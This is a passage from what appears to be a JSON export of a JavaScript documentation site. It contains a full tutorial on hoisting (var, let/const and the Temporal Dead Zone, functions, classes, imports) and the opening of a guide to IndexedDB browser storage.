href=\"https://www.youtube.com/watch?v=5KNl4TQRpbo\">\n    Traversy Media covers getters and setters in both object literals and ES6 classes with practical code examples.\n  </Card>\n  <Card title=\"JavaScript Getters & Setters in 5 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=y9TIr4T2EpA\">\n    Quick 5-minute overview if you just need the essentials. Covers syntax, use cases, and common pitfalls.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/hoisting.mdx",
    "content": "---\ntitle: \"Hoisting in JavaScript\"\nsidebarTitle: \"Hoisting: How Declarations Move to the Top\"\ndescription: \"Learn JavaScript hoisting: how var, let, const, and function declarations are moved to the top of their scope. Understand the Temporal Dead Zone.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Language Mechanics\"\n\"article:tag\": \"javascript hoisting, var hoisting, function hoisting, temporal dead zone, declaration vs initialization, scope hoisting\"\n---\n\nWhy can you call a function before it appears in your code? Why does `var` give you `undefined` instead of an error, while `let` throws a `ReferenceError`? How does JavaScript seem to know about variables before they're declared?\n\n```javascript\n// This works - but how?\nsayHello()  // \"Hello!\"\n\nfunction sayHello() {\n  console.log(\"Hello!\")\n}\n\n// This doesn't throw an error - why?\nconsole.log(name)  // undefined\nvar name = \"Alice\"\n\n// But this does throw an error - what's different?\nconsole.log(age)  // ReferenceError: Cannot access 'age' before initialization\nlet age = 25\n```\n\nThe answer is **hoisting**. It's one of JavaScript's most misunderstood behaviors, and understanding it is key to writing predictable code and debugging confusing errors.\n\n<Info>\n**What you'll learn in this guide:**\n- What hoisting actually is (and what it isn't)\n- How [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var), [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), and [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) are hoisted differently\n- Why function declarations can be called before they appear in code\n- The Temporal Dead Zone and why it exists\n- Class and import hoisting behavior\n- Common hoisting pitfalls and how to avoid them\n- Best practices for declaring variables and functions\n</Info>\n\n<Warning>\n**Prerequisites:** This guide builds on your understanding of [Scope and Closures](/concepts/scope-and-closures) and the [Call Stack](/concepts/call-stack). If you're not comfortable with how JavaScript manages scope, read those guides first.\n</Warning>\n\n---\n\n## What is Hoisting in JavaScript?\n\n**[Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)** is JavaScript's behavior of moving declarations to the top of their scope during the compilation phase, before any code is executed. When JavaScript prepares to run your code, it first scans for all variable and function declarations and \"hoists\" them to the top of their containing scope. Only the declarations are hoisted, not the initializations. According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-variable-statement), variable declarations are instantiated when their containing environment record is created, which is why they appear to \"move\" to the top.\n\nHere's the key insight: hoisting isn't actually moving your code around. It's about when JavaScript becomes *aware* of your variables and functions during its two-phase execution process.\n\n<Note>\nThe term \"hoisting\" doesn't appear in the ECMAScript specification. It's a conceptual model that describes the observable behavior of how JavaScript handles declarations during compilation.\n</Note>\n\n---\n\n## The Moving Day Analogy\n\nImagine you're moving into a new apartment. Before you even show up with your boxes, the moving company has already:\n\n1. **Put labels on every room** saying what will go there (\"Living Room\", \"Bedroom\", \"Kitchen\")\n2. **Reserved space** for your furniture, but the rooms are empty\n\nWhen you arrive, you know where everything *will* go, but the actual furniture (the values) hasn't been unpacked yet.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     HOISTING: THE MOVING DAY ANALOGY                     │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   BEFORE YOU ARRIVE (Compilation Phase)                                  │\n│   ─────────────────────────────────────                                  │\n│                                                                          │\n│   ┌──────────────┐  ┌──────────────┐  ┌──────────────┐                  │\n│   │  LIVING ROOM │  │   BEDROOM    │  │   KITCHEN    │                  │\n│   │              │  │              │  │              │                  │\n│   │   [empty]    │  │   [empty]    │  │   [empty]    │                  │\n│   │              │  │              │  │              │                  │\n│   │  Reserved    │  │  Reserved    │  │  Reserved    │                  │\n│   │  for: sofa   │  │  for: bed    │  │  for: table  │                  │\n│   └──────────────┘  └──────────────┘  └──────────────┘                  │\n│                                                                          │\n│   AFTER UNPACKING (Execution Phase)                                      │\n│   ─────────────────────────────────                                      │\n│                                                                          │\n│   ┌──────────────┐  ┌──────────────┐  ┌──────────────┐                  │\n│   │  LIVING ROOM │  │   BEDROOM    │  │   KITCHEN    │                  │\n│   │              │  │              │  │              │                  │\n│   │   [SOFA]     │  │    [BED]     │  │   [TABLE]    │                  │\n│   │              │  │              │  │              │                  │\n│   └──────────────┘  └──────────────┘  └──────────────┘                  │\n│                                                                          │\n│   JavaScript knows about all variables before execution, but their       │\n│   values are only assigned when the code actually runs.                  │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThis is exactly how hoisting works:\n- **Compilation phase**: JavaScript \"reserves space\" for all declarations\n- **Execution phase**: Values are actually assigned when the code runs\n\n---\n\n## The Four Types of Hoisting\n\nNot all declarations are hoisted the same way. Understanding these differences is crucial:\n\n| Declaration Type | Hoisted? | Initialized? | Accessible Before Declaration? |\n|-----------------|----------|--------------|-------------------------------|\n| `var` | Yes | Yes (`undefined`) | Yes (returns `undefined`) |\n| `let` / `const` | Yes | No (TDZ) | No (`ReferenceError`) |\n| Function Declaration | Yes | Yes (full function) | Yes (fully usable) |\n| Function Expression | Depends on `var`/`let`/`const` | No | No |\n| `class` | Yes | No (TDZ) | No (`ReferenceError`) |\n| `import` | Yes | Yes | Yes (but side effects run first) |\n\nLet's explore each one in detail.\n\n---\n\n## Variable Hoisting with var\n\nVariables declared with [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) are hoisted to the top of their function (or global scope) and automatically initialized to `undefined`. As MDN documents, `var` declarations are processed before any code is executed, which is why accessing a `var` variable before its declaration returns `undefined` rather than throwing an error.\n\n```javascript\nconsole.log(greeting)  // undefined (not an error!)\nvar greeting = \"Hello\"\nconsole.log(greeting)  // \"Hello\"\n```\n\n### How JavaScript Sees Your Code\n\nWhen you write code with `var`, JavaScript essentially transforms it during compilation:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        var HOISTING TRANSFORMATION                       │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   YOUR CODE:                          HOW JAVASCRIPT SEES IT:            │\n│   ──────────                          ──────────────────────             │\n│                                                                          │\n│   console.log(x);                     var x;           // Hoisted!       │\n│   var x = 5;                          console.log(x);  // undefined      │\n│   console.log(x);                     x = 5;           // Assignment     │\n│                                       console.log(x);  // 5              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### var Hoisting in Functions\n\n`var` is function-scoped, meaning it's hoisted to the top of the containing function:\n\n```javascript\nfunction example() {\n  console.log(message)  // undefined\n  \n  if (true) {\n    var message = \"Hello\"\n  }\n  \n  console.log(message)  // \"Hello\"\n}\n\nexample()\n```\n\nEven though `message` is declared inside the `if` block, `var` ignores [block scope](/concepts/scope-and-closures) and hoists to the function level.\n\n<Tip>\n**The Rule:** `var` declarations are hoisted to the top of their **function** scope (or global scope if not in a function). The declaration is hoisted, but the assignment stays in place.\n</Tip>\n\n---\n\n## let and const: Hoisted but in the Temporal Dead Zone\n\nHere's where many developers get confused: `let` and `const` **are hoisted**, but they behave differently from `var`. They enter what's called the **[Temporal Dead Zone (TDZ)](/beyond/concepts/temporal-dead-zone)**.\n\n```javascript\n// TDZ starts at the beginning of the block\nconsole.log(name)  // ReferenceError: Cannot access 'name' before initialization\nlet name = \"Alice\"\n// TDZ ends here\n```\n\n### What is the Temporal Dead Zone?\n\nThe **Temporal Dead Zone** is the period between entering a scope and the actual declaration of a `let` or `const` variable. During this time, the variable exists (JavaScript knows about it), but accessing it throws a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). Learn more about the TDZ in our [dedicated Temporal Dead Zone guide](/beyond/concepts/temporal-dead-zone).\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        TEMPORAL DEAD ZONE (TDZ)                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   function example() {                                                   │\n│     // ┌─────────────────────────────────────────────┐                   │\n│     // │         TEMPORAL DEAD ZONE FOR 'x'          │                   │\n│     // │                                             │                   │\n│     // │  console.log(x);  // ReferenceError!        │                   │\n│     // │  console.log(x);  // ReferenceError!        │                   │\n│     // │  console.log(x);  // ReferenceError!        │                   │\n│     // └─────────────────────────────────────────────┘                   │\n│                                                                          │\n│     let x = 10;  // ← TDZ ends here, 'x' is now accessible               │\n│                                                                          │\n│     console.log(x);  // 10 ✓                                             │\n│   }                                                                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Why Does the TDZ Exist?\n\nThe TDZ exists to catch bugs. Consider this code:\n\n```javascript\nlet x = \"outer\"\n\nfunction example() {\n  console.log(x)  // What should this print?\n  let x = \"inner\"\n}\n```\n\nWithout the TDZ, the `console.log(x)` might confusingly access the outer `x`. With the TDZ, JavaScript tells you immediately that something is wrong: you're trying to use a variable before it's ready.\n\n### TDZ Proof: let IS Hoisted\n\nHere's proof that `let` is actually hoisted (just with TDZ behavior):\n\n```javascript\nlet x = \"outer\"\n\n{\n  // If 'x' wasn't hoisted, this would print \"outer\"\n  // But instead, we get a ReferenceError because the inner 'x' IS hoisted\n  // and creates a TDZ that shadows the outer 'x'\n  console.log(x)  // ReferenceError: Cannot access 'x' before initialization\n  let x = \"inner\"\n}\n```\n\nThe fact that we get a `ReferenceError` instead of `\"outer\"` proves that the inner `let x` declaration was hoisted and is \"shadowing\" the outer `x` from the start of the block.\n\n<Warning>\n**Common Misconception:** Many tutorials say `let` and `const` are \"not hoisted.\" This is incorrect. They ARE hoisted, but they remain uninitialized in the TDZ until their declaration is reached.\n</Warning>\n\n---\n\n## Function Declaration Hoisting\n\n[Function declarations](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function) are fully hoisted. Both the name AND the function body are moved to the top of the scope. This is why you can call a function before its declaration:\n\n```javascript\n// This works perfectly!\nsayHello(\"World\")  // \"Hello, World!\"\n\nfunction sayHello(name) {\n  console.log(`Hello, ${name}!`)\n}\n```\n\n### Function Declaration vs Function Expression\n\nThis is a critical distinction:\n\n<Tabs>\n  <Tab title=\"Function Declaration\">\n    ```javascript\n    // ✓ Works - function declarations are fully hoisted\n    greet()  // \"Hello!\"\n    \n    function greet() {\n      console.log(\"Hello!\")\n    }\n    ```\n  </Tab>\n  <Tab title=\"Function Expression (var)\">\n    ```javascript\n    // ✗ TypeError - greet is undefined, not a function\n    greet()  // TypeError: greet is not a function\n    \n    var greet = function() {\n      console.log(\"Hello!\")\n    }\n    ```\n    \n    With `var`, the variable `greet` is hoisted and initialized to `undefined`. Calling `undefined()` throws a TypeError.\n  </Tab>\n  <Tab title=\"Function Expression (let/const)\">\n    ```javascript\n    // ✗ ReferenceError - greet is in the TDZ\n    greet()  // ReferenceError: Cannot access 'greet' before initialization\n    \n    const greet = function() {\n      console.log(\"Hello!\")\n    }\n    ```\n    \n    With `let`/`const`, the variable is in the TDZ, so we get a ReferenceError.\n  </Tab>\n</Tabs>\n\n### Arrow Functions Follow the Same Rules\n\n[Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) are always expressions, so they're never hoisted as functions:\n\n```javascript\n// ✗ ReferenceError\nsayHi()  // ReferenceError: Cannot access 'sayHi' before initialization\n\nconst sayHi = () => {\n  console.log(\"Hi!\")\n}\n```\n\n<Tip>\n**Quick Rule:** If it uses the `function` keyword as a statement (not part of an expression), it's fully hoisted. If it's assigned to a variable, only the variable declaration is hoisted (following `var`/`let`/`const` rules).\n</Tip>\n\n---\n\n## Class Hoisting\n\n[Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) are hoisted similarly to `let` and `const`. They enter the TDZ and cannot be used before their declaration:\n\n```javascript\n// ✗ ReferenceError\nconst dog = new Animal(\"Buddy\")  // ReferenceError: Cannot access 'Animal' before initialization\n\nclass Animal {\n  constructor(name) {\n    this.name = name\n  }\n}\n```\n\nThis applies to both class declarations and class expressions:\n\n```javascript\n// Class declaration - TDZ applies\nnew MyClass()  // ReferenceError\nclass MyClass {}\n\n// Class expression - follows variable hoisting rules\nnew MyClass()  // ReferenceError (const is in TDZ)\nconst MyClass = class {}\n```\n\n---\n\n## Import Hoisting\n\n[Import declarations](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) are hoisted to the very top of their module. However, the imported module's code runs before your module's code:\n\n```javascript\n// This works even though the import is \"below\"\nconsole.log(helper())  // Works!\n\nimport { helper } from './utils.js'\n```\n\n<Note>\nWhile imports are hoisted, it's best practice to keep all imports at the top of your file for readability. Most linters and style guides enforce this.\n</Note>\n\n---\n\n## Hoisting Order and Precedence\n\nWhat happens when a variable and a function have the same name? There's a specific order of precedence:\n\n### Function Declarations Win Over var\n\n```javascript\nconsole.log(typeof myName)  // \"function\"\n\nvar myName = \"Alice\"\n\nfunction myName() {\n  return \"I'm a function!\"\n}\n\nconsole.log(typeof myName)  // \"string\"\n```\n\nHere's what happens:\n1. Both `var myName` and `function myName` are hoisted\n2. Function declarations are hoisted AFTER variable declarations\n3. So `function myName` overwrites the `undefined` from `var myName`\n4. When execution reaches `var myName = \"Alice\"`, it reassigns to a string\n\n### Multiple var Declarations\n\nMultiple `var` declarations of the same variable are merged into one:\n\n```javascript\nvar x = 1\nvar x = 2\nvar x = 3\n\nconsole.log(x)  // 3\n```\n\nThis is essentially the same as:\n\n```javascript\nvar x\nx = 1\nx = 2\nx = 3\n```\n\n<Warning>\n`let` and `const` don't allow redeclaration. This code throws a `SyntaxError`:\n\n```javascript\nlet x = 1\nlet x = 2  // SyntaxError: Identifier 'x' has already been declared\n```\n</Warning>\n\n---\n\n## The #1 Hoisting Mistake\n\nThe most common hoisting trap involves function expressions with `var`:\n\n```javascript\n// What does this print?\nconsole.log(sum(2, 3))\n\nvar sum = function(a, b) {\n  return a + b\n}\n```\n\n**Answer:** `TypeError: sum is not a function`\n\n### Why This Happens\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE FUNCTION EXPRESSION TRAP                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   YOUR CODE:                          HOW JAVASCRIPT SEES IT:            │\n│   ──────────                          ──────────────────────             │\n│                                                                          │\n│   console.log(sum(2, 3))              var sum;           // undefined    │\n│                                       console.log(sum(2, 3))  // Error!  │\n│   var sum = function(a, b) {          sum = function(a, b) {             │\n│     return a + b                        return a + b                     │\n│   }                                   }                                  │\n│                                                                          │\n│   When sum(2, 3) is called, sum is undefined.                            │\n│   Calling undefined(2, 3) throws TypeError!                              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### The Fix: Use Function Declarations\n\nIf you need to call a function before its definition, use a function declaration:\n\n```javascript\n// ✓ This works\nconsole.log(sum(2, 3))  // 5\n\nfunction sum(a, b) {\n  return a + b\n}\n```\n\nOr, declare your function expressions at the top:\n\n```javascript\n// ✓ Define first, use later\nconst sum = function(a, b) {\n  return a + b\n}\n\nconsole.log(sum(2, 3))  // 5\n```\n\n---\n\n## Why Does Hoisting Exist?\n\nYou might wonder why JavaScript has this seemingly confusing behavior. There are historical and practical reasons:\n\n### 1. Mutual Recursion\n\nHoisting enables functions to call each other regardless of declaration order:\n\n```javascript\nfunction isEven(n) {\n  if (n === 0) return true\n  return isOdd(n - 1)  // Can call isOdd before it's defined\n}\n\nfunction isOdd(n) {\n  if (n === 0) return false\n  return isEven(n - 1)  // Can call isEven \n}\n\nconsole.log(isEven(4))  // true\nconsole.log(isOdd(3))   // true\n```\n\nWithout hoisting, you'd need to carefully order all function declarations or use forward declarations like in C.\n\n### 2. Two-Phase Execution\n\n[JavaScript engines](/concepts/javascript-engines) process code in two phases:\n\n<Steps>\n  <Step title=\"Compilation Phase\">\n    The engine scans the code and registers all declarations in memory. Variables are created but not assigned values (except functions, which are fully created).\n  </Step>\n  \n  <Step title=\"Execution Phase\">\n    The engine runs the code line by line, assigning values to variables and executing statements.\n  </Step>\n</Steps>\n\nThis two-phase approach is why hoisting exists. It's a natural consequence of how JavaScript is parsed and executed.\n\n---\n\n## Best Practices\n\n<AccordionGroup>\n  <Accordion title=\"1. Declare variables at the top of their scope\">\n    Even though hoisting will move declarations anyway, putting them at the top makes your code clearer and easier to understand:\n    \n    ```javascript\n    function processUser(user) {\n      // All declarations at the top\n      const name = user.name\n      const email = user.email\n      let isValid = false\n      \n      // Logic follows\n      if (name && email) {\n        isValid = true\n      }\n      \n      return isValid\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Prefer const > let > var\">\n    Use `const` by default, `let` when you need to reassign, and avoid `var` entirely:\n    \n    ```javascript\n    // ✓ Good\n    const API_URL = 'https://api.example.com'\n    let currentUser = null\n    \n    // ✗ Avoid\n    var counter = 0\n    ```\n    \n    `const` and `let` have more predictable scoping and the TDZ catches bugs early. The State of JS 2023 survey shows that over 93% of developers now regularly use `const` and `let`, reflecting a strong industry shift away from `var`.\n  </Accordion>\n  \n  <Accordion title=\"3. Use function declarations for named functions\">\n    Function declarations are hoisted fully and make your intent clear:\n    \n    ```javascript\n    // ✓ Clear intent, fully hoisted\n    function calculateTotal(items) {\n      return items.reduce((sum, item) => sum + item.price, 0)\n    }\n    \n    // ✓ Also fine - but define before use\n    const calculateTax = (amount) => amount * 0.1\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Keep imports at the top\">\n    Even though imports are hoisted, keep them at the top for readability:\n    \n    ```javascript\n    // ✓ Good - imports at top\n    import { useState, useEffect } from 'react'\n    import { fetchUser } from './api'\n    \n    function UserProfile() {\n      // Component code\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Don't rely on hoisting for variable values\">\n    Just because `var` lets you access variables before declaration doesn't mean you should:\n    \n    ```javascript\n    // ✗ Bad - confusing, relies on hoisting\n    function bad() {\n      console.log(x)  // undefined - works but confusing\n      var x = 5\n    }\n    \n    // ✓ Good - clear and predictable\n    function good() {\n      const x = 5\n      console.log(x)  // 5\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Hoisting:**\n\n1. **Hoisting is declaration movement** — JavaScript moves declarations to the top of their scope during compilation, but assignments stay in place\n\n2. **`var` is hoisted and initialized to `undefined`** — You can access it before declaration, but the value is `undefined`\n\n3. **`let` and `const` are hoisted into the TDZ** — They exist but throw `ReferenceError` if accessed before declaration\n\n4. **Function declarations are fully hoisted** — Both the name and body are available before the declaration appears in code\n\n5. **Function expressions follow variable rules** — A `var` function expression gives `TypeError`, a `let`/`const` expression gives `ReferenceError`\n\n6. **Classes are hoisted with TDZ** — Like `let`/`const`, classes cannot be used before declaration\n\n7. **Imports are hoisted to the top** — But module side effects execute before your code runs\n\n8. **Functions beat variables** — When a function and `var` share a name, the function takes precedence initially\n\n9. **TDZ exists to catch bugs** — It prevents confusing behavior where inner variables might accidentally use outer values\n\n10. **Best practice: declare at the top** — Don't rely on hoisting for readability; put declarations where you use them\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What does this code output?\">\n    ```javascript\n    console.log(x)\n    var x = 10\n    console.log(x)\n    ```\n    \n    **Answer:**\n    \n    ```\n    undefined\n    10\n    ```\n    \n    The `var x` declaration is hoisted and initialized to `undefined`. The first `console.log` prints `undefined`. Then `x` is assigned `10`, and the second `console.log` prints `10`.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does this code output?\">\n    ```javascript\n    console.log(y)\n    let y = 20\n    ```\n    \n    **Answer:**\n    \n    ```\n    ReferenceError: Cannot access 'y' before initialization\n    ```\n    \n    `let` is hoisted but enters the Temporal Dead Zone. Accessing it before declaration throws a `ReferenceError`.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What does this code output?\">\n    ```javascript\n    sayHi()\n    \n    var sayHi = function() {\n      console.log(\"Hi!\")\n    }\n    ```\n    \n    **Answer:**\n    \n    ```\n    TypeError: sayHi is not a function\n    ```\n    \n    The `var sayHi` is hoisted and initialized to `undefined`. Calling `undefined()` throws a `TypeError`.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What does this code output?\">\n    ```javascript\n    sayHello()\n    \n    function sayHello() {\n      console.log(\"Hello!\")\n    }\n    ```\n    \n    **Answer:**\n    \n    ```\n    Hello!\n    ```\n    \n    Function declarations are fully hoisted. The entire function is available before its declaration in the code.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What does this code output?\">\n    ```javascript\n    var a = 1\n    function a() { return 2 }\n    console.log(typeof a)\n    ```\n    \n    **Answer:**\n    \n    ```\n    number\n    ```\n    \n    Both are hoisted, with the function declaration winning initially. But then `var a = 1` executes and reassigns `a` to the number `1`. So `typeof a` is `\"number\"`.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Why does this throw an error?\">\n    ```javascript\n    const x = \"outer\"\n    \n    function test() {\n      console.log(x)\n      const x = \"inner\"\n    }\n    \n    test()\n    ```\n    \n    **Answer:**\n    \n    This throws `ReferenceError: Cannot access 'x' before initialization`.\n    \n    Even though there's an outer `x`, the inner `const x` is hoisted within `test()` and creates a TDZ. The inner `x` shadows the outer `x` from the start of the function, so the `console.log(x)` tries to access the inner `x` which is still in the TDZ.\n    \n    This proves that `const` (and `let`) ARE hoisted; they just can't be accessed until initialized.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is hoisting in JavaScript?\">\n    Hoisting is JavaScript's default behavior of moving variable and function declarations to the top of their scope during the compilation phase. Only the declarations are hoisted, not the initializations. According to MDN, this means variables can appear to be used before they are declared.\n  </Accordion>\n\n  <Accordion title=\"Are let and const hoisted in JavaScript?\">\n    Yes, `let` and `const` are hoisted, but they are not initialized. They enter the Temporal Dead Zone (TDZ) from the start of their block until the declaration is reached. Accessing them before initialization throws a `ReferenceError`, unlike `var` which returns `undefined`.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between function declarations and function expressions in hoisting?\">\n    Function declarations are fully hoisted — both the name and the body are available before the declaration appears in code. Function expressions follow variable hoisting rules: a `var` function expression is hoisted as `undefined`, while a `let`/`const` expression enters the TDZ. The ECMAScript specification treats function declarations differently because they are instantiated during environment setup.\n  </Accordion>\n\n  <Accordion title=\"Does JavaScript physically move code during hoisting?\">\n    No. Hoisting is a conceptual model describing observable behavior. The ECMAScript specification does not use the term \"hoisting.\" Instead, JavaScript engines process declarations during a compilation phase before executing code, creating the effect of declarations being \"moved\" to the top.\n  </Accordion>\n\n  <Accordion title=\"Why does var return undefined instead of throwing an error before declaration?\">\n    When a `var` variable is hoisted, it is immediately initialized to `undefined`. This was a design choice in early JavaScript (1995) to be forgiving to developers. Modern `let` and `const` fixed this by introducing the TDZ, which catches accidental use of uninitialized variables with a `ReferenceError`.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Scope and Closures\" icon=\"box\" href=\"/concepts/scope-and-closures\">\n    Understanding scope is essential to understanding hoisting\n  </Card>\n  <Card title=\"Temporal Dead Zone\" icon=\"clock\" href=\"/beyond/concepts/temporal-dead-zone\">\n    Deep dive into the TDZ and its edge cases\n  </Card>\n  <Card title=\"Call Stack\" icon=\"layer-group\" href=\"/concepts/call-stack\">\n    How JavaScript tracks execution context\n  </Card>\n  <Card title=\"JavaScript Engines\" icon=\"microchip\" href=\"/concepts/javascript-engines\">\n    How engines parse and execute JavaScript code\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Hoisting — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Hoisting\">\n    Official MDN glossary entry explaining hoisting behavior\n  </Card>\n  <Card title=\"var — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var\">\n    Reference for var hoisting and function scope\n  </Card>\n  <Card title=\"let — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let\">\n    Reference for let, block scope, and the Temporal Dead Zone\n  </Card>\n  <Card title=\"const — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\">\n    Reference for const declarations and TDZ behavior\n  </Card>\n  <Card title=\"function — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function\">\n    Reference for function declarations and hoisting\n  </Card>\n  <Card title=\"Grammar and Types — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#variable_hoisting\">\n    MDN guide section on variable hoisting\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Hoisting — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/var#var-variables-can-be-declared-below-their-use\">\n    Clear explanation of var hoisting with excellent diagrams. Part of the comprehensive javascript.info tutorial series.\n  </Card>\n  <Card title=\"Understanding Hoisting in JavaScript — DigitalOcean\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/understanding-hoisting-in-javascript\">\n    Thorough tutorial covering all hoisting scenarios with practical examples. Great for understanding the execution context.\n  </Card>\n  <Card title=\"JavaScript Visualized: Hoisting — Lydia Hallie\" icon=\"newspaper\" href=\"https://dev.to/lydiahallie/javascript-visualized-hoisting-478h\">\n    Animated GIFs showing exactly how hoisting works. This visual approach makes the concept click for visual learners.\n  </Card>\n  <Card title=\"A guide to JavaScript variable hoisting — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/what-is-variable-hoisting-differentiating-between-var-let-and-const-in-es6-f1a70bb43d\">\n    Beginner-friendly guide comparing var, let, and const hoisting with clear code examples.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Hoisting in JavaScript — Namaste JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Fnlnw8uY6jo\">\n    Akshay Saini's detailed explanation with execution context visualization. Part of the popular Namaste JavaScript series.\n  </Card>\n  <Card title=\"JavaScript Hoisting Explained — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=EvfRXyKa_GI\">\n    Kyle Cook's concise, beginner-friendly explanation covering all the key hoisting concepts in under 10 minutes.\n  </Card>\n  <Card title=\"Differences Between Var, Let, and Const — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=9WIJQDvt4Us\">\n    Quick, entertaining comparison of variable declarations including hoisting behavior. Perfect for a fast refresher.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/indexeddb.mdx",
    "content": "---\ntitle: \"IndexedDB in JavaScript\"\nsidebarTitle: \"IndexedDB: Client-Side Database Storage\"\ndescription: \"Learn IndexedDB for client-side storage in JavaScript. Store structured data, create indexes, perform transactions, and build offline-capable apps.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Browser Storage\"\n\"article:tag\": \"indexeddb, client-side database, structured data, transactions, offline storage\"\n---\n\nWhat happens when localStorage's 5MB limit isn't enough? How do you store thousands of records, search them efficiently, or keep an app working offline with real data?\n\nMeet **IndexedDB** — a full database built into every modern browser. Unlike localStorage's simple key-value pairs, IndexedDB lets you store massive amounts of structured data, create indexes for fast lookups, and run transactions that keep your data consistent.\n\n```javascript\n// Store and retrieve complex data with IndexedDB\nconst request = indexedDB.open('MyApp', 1)\n\nrequest.onupgradeneeded = (event) => {\n  const db = event.target.result\n  const store = db.createObjectStore('users', { keyPath: 'id' })\n  store.createIndex('email', 'email', { unique: true })\n}\n\nrequest.onsuccess = (event) => {\n  const db = event.target.result\n  const tx = db.transaction('users', 'readwrite')\n  tx.objectStore('users').add({ id: 1, name: 'Alice', email: 'alice@example.com' })\n}\n```\n\nIndexedDB is the backbone of offline-first applications, Progressive Web Apps (PWAs), and any app that needs to work without a network connection. According to Can I Use, IndexedDB has over 96% global browser support. It's more complex than localStorage, but far more powerful.\n\n<Info>\n**What you'll learn in this guide:**\n- What IndexedDB is and when to use it instead of localStorage\n- How to open databases and handle versioning\n- Creating object stores and indexes for your data\n- Performing CRUD operations within transactions\n- Iterating over data with cursors\n- Using Promise wrappers for cleaner async code\n- Real-world patterns for offline-capable applications\n</Info>\n\n<Warning>\n**Prerequisite:** IndexedDB is heavily asynchronous. This guide assumes you're comfortable with [Promises](/concepts/promises) and [async/await](/concepts/async-await). If those concepts are fuzzy, read those guides first!\n</Warning>\n\n---\n\n## What is IndexedDB?\n\n**IndexedDB** is a low-level browser API for storing large amounts of structured data on the client side. As MDN documents, it's a transactional, NoSQL database that uses object stores (similar to tables) to organize data, supports indexes for efficient queries, and can store almost any JavaScript value including objects, arrays, files, and blobs.\n\nThink of IndexedDB as a real database that lives in the browser. While [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) gives you a simple string-only key-value store with ~5MB limit, IndexedDB can store gigabytes of structured data with proper querying capabilities.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    BROWSER STORAGE COMPARISON                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   localStorage                      IndexedDB                            │\n│   ─────────────                     ─────────                            │\n│                                                                          │\n│   ┌─────────────────┐               